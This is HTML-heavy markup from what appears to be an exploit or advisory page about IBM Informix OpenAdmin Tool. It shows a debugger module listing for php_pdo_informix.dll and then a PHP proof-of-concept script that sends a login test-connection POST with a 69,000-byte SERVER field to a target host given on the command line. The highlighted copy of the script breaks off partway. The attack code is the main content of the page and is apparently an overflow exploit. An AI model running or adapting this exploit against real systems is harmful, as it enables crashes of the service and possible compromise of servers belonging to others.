data-line=\"crayon-5924b5979852d947516251-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852d947516251-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b5979852d947516251-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b5979852d947516251-28\">28<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b5979852d947516251-1\"><span class=\"crayon-cn\">0<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">002<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">lm <\/span><span class=\"crayon-e\">vm <\/span><span class=\"crayon-e\">php_pdo_informix<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852d947516251-2\"><span class=\"crayon-e\">start&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">end<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">module <\/span><span class=\"crayon-i\">name<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852d947516251-3\"><span class=\"crayon-cn\">014f0000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">014fa000<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-e\">php_pdo_informix<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">export <\/span><span class=\"crayon-v\">symbols<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">C<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-e\">Program <\/span><span class=\"crayon-e\">Files<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x86<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-e\">IBM <\/span><span class=\"crayon-e\">Informix <\/span><span class=\"crayon-e\">Software <\/span><span class=\"crayon-v\">Bundle<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-v\">OAT<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-v\">PHP_5<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-cn\">2.4<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-v\">ext<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-v\">php_pdo_informix<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">dll<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852d947516251-4\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Loaded <\/span><span class=\"crayon-e\">symbol <\/span><span class=\"crayon-e\">image <\/span><span class=\"crayon-v\">file<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">C<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-e\">Program <\/span><span class=\"crayon-e\">Files<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x86<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-e\">IBM <\/span><span class=\"crayon-e\">Informix <\/span><span class=\"crayon-e\">Software <\/span><span class=\"crayon-v\">Bundle<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-v\">OAT<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-v\">PHP_5<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-cn\">2.4<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-v\">ext<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-v\">php_pdo_informix<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">dll<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852d947516251-5\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Image <\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">C<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-e\">Program <\/span><span class=\"crayon-e\">Files<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x86<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-e\">IBM <\/span><span class=\"crayon-e\">Informix <\/span><span class=\"crayon-e\">Software <\/span><span class=\"crayon-v\">Bundle<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-v\">OAT<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-v\">PHP_5<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-cn\">2.4<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-v\">ext<\/span><span class=\"crayon-sy\"><\/span><span class=\"crayon-v\">php_pdo_informix<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">dll<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852d947516251-6\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Image <\/span><span class=\"crayon-v\">name<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">php_pdo_informix<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">dll<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852d947516251-7\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">Timestamp<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Mon <\/span><span class=\"crayon-i\">Jun<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">15<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">17<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">13<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">57<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2009<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">4A36E3C5<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852d947516251-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">CheckSum<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-cn\">00015E71<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852d947516251-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ImageSize<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">0000A000<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852d947516251-10\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">File <\/span><span class=\"crayon-v\">version<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-cn\">5.2.4.4<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852d947516251-11\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">Product <\/span><span class=\"crayon-v\">version<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">5.2.4.0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852d947516251-12\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">File <\/span><span class=\"crayon-v\">flags<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">Mask<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3F<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852d947516251-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">File <\/span><span class=\"crayon-v\">OS<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Unknown <\/span><span class=\"crayon-e\">Win32<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852d947516251-14\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">File <\/span><span class=\"crayon-v\">type<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">2.0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Dll<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852d947516251-15\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">File <\/span><span class=\"crayon-v\">date<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">00000000.00000000<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852d947516251-16\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">Translations<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-cn\">0409.04b0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852d947516251-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">CompanyName<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">The <\/span><span class=\"crayon-e\">PHP <\/span><span class=\"crayon-e\">Group<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852d947516251-18\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ProductName<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PHP <\/span><span class=\"crayon-v\">php_pdo_informix<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">dll<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852d947516251-19\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">InternalName<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-v\">php_pdo_informix<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">dll<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852d947516251-20\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">OriginalFilename<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">php_pdo_informix<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">dll<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852d947516251-21\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ProductVersion<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-cn\">5.2.4<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852d947516251-22\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">FileVersion<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">5.2.4.4<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852d947516251-23\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">PrivateBuild<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-cn\">5.2.4.4<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852d947516251-24\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">SpecialBuild<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-cn\">5.2.4.4<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852d947516251-25\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">FileDescription<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">pdo_informix<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852d947516251-26\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">LegalCopyright<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><span class=\"crayon-i\">Copyright<\/span><span class=\"crayon-h\"> <\/span>\u00a9<span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1997<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">2007<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">The <\/span><span class=\"crayon-e\">PHP <\/span><span class=\"crayon-e\">Group<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b5979852d947516251-27\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">LegalTrademarks<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">PHP<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b5979852d947516251-28\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">Comments<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-e\">Thanks <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Rick <\/span><span class=\"crayon-v\">McGuire<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Dan <\/span><span class=\"crayon-v\">Scott<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Krishna <\/span><span class=\"crayon-v\">Raman<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Kellen <\/span><span class=\"crayon-v\">Bombardier<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0051 seconds] -->  <\/p>\n<p><strong>Proof of Concept<\/strong><\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5924b59798531325907706\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-mixed-highlight\" title=\"Contains Mixed Languages\"><\/span><\/p>\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &lt;?php  \/*  example connection string:  informix:host=127.0.0.1;service=7360;database=sysmaster;protocol=onsoctcp;server=[0X01 X 69000]  *\/    error_reporting(0);  $host = $argv[1];  $port = 8080;    $data=&#8221;PASSWORD=*&amp;USERNAME=*&amp;SERVER=&#8221;.str_repeat(&#8220;x01&#8243;,69000).&#8221;&amp;HOST=127.0.0.1&amp;PORT=7360&amp;IDSPROTOCOL=onsoctcp&amp;TENANT_DBOWNER=&amp;TENANT_DBNAME=&#8221;;  $pk=&#8221;POST \/openadmin\/index.php?act=login&amp;do=testconn HTTP\/1.1rn&#8221;.      &#8220;Host: &#8220;.$host.&#8221;rn&#8221;.      &#8220;Content-Type: application\/x-www-form-urlencodedrn&#8221;.      &#8220;Content-Length: &#8220;.strlen($data).&#8221;rn&#8221;.      &#8220;Connection: Closernrn&#8221;.      $data;       $fp = fsockopen($host,$port,$e,$err,5);  fputs($fp,$pk);  $out=&#8221;&#8221;;  while (!feof($fp)){    $out.=fread($fp,1);  }  fclose($fp);  echo $out.&#8221;n&#8221;;  ?&gt;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798531325907706-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798531325907706-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798531325907706-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798531325907706-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798531325907706-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798531325907706-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798531325907706-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798531325907706-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798531325907706-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798531325907706-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798531325907706-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798531325907706-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798531325907706-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798531325907706-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798531325907706-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798531325907706-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798531325907706-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798531325907706-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798531325907706-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798531325907706-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798531325907706-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798531325907706-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798531325907706-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798531325907706-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798531325907706-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5924b59798531325907706-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5924b59798531325907706-27\">27<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5924b59798531325907706-1\"><span class=\"crayon-ta\">&lt;?php<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798531325907706-2\"><span class=\"crayon-c\">\/*<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798531325907706-3\"><span class=\"crayon-c\">example connection string:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798531325907706-4\"><span class=\"crayon-c\">informix:host=127.0.0.1;service=7360;database=sysmaster;protocol=onsoctcp;server=[0X01 X 69000]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798531325907706-5\"><span class=\"crayon-c\">*\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798531325907706-6\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798531325907706-7\"><span class=\"crayon-e\">error_reporting<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798531325907706-8\"><span class=\"crayon-v\">$host<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$argv<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798531325907706-9\"><span class=\"crayon-v\">$port<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">8080<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798531325907706-10\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798531325907706-11\"><span class=\"crayon-v\">$data<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;PASSWORD=*&amp;USERNAME=*&amp;SERVER=&#8221;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">str_repeat<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;x01&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">69000<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;&amp;HOST=127.0.0.1&amp;PORT=7360&amp;IDSPROTOCOL=onsoctcp&amp;TENANT_DBOWNER=&amp;TENANT_DBNAME=&#8221;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798531325907706-12\"><span class=\"crayon-v\">$pk<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;POST \/openadmin\/index.php?act=login&amp;do=testconn HTTP\/1.1rn&#8221;<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798531325907706-13\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;Host: &#8220;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">$host<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;rn&#8221;<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798531325907706-14\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;Content-Type: application\/x-www-form-urlencodedrn&#8221;<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798531325907706-15\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;Content-Length: &#8220;<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">strlen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$data<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-s\">&#8220;rn&#8221;<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798531325907706-16\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;Connection: Closernrn&#8221;<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798531325907706-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">$data<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798531325907706-18\"><span class=\"crayon-h\">&nbsp;&nbsp; <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5924b59798531325907706-19\"><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">fsockopen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$host<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">$port<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">$e<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">$err<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">5<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5924b59798531325907706-20\"><span class=\"crayon-e\">fputs<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$fp<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">$pk<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div 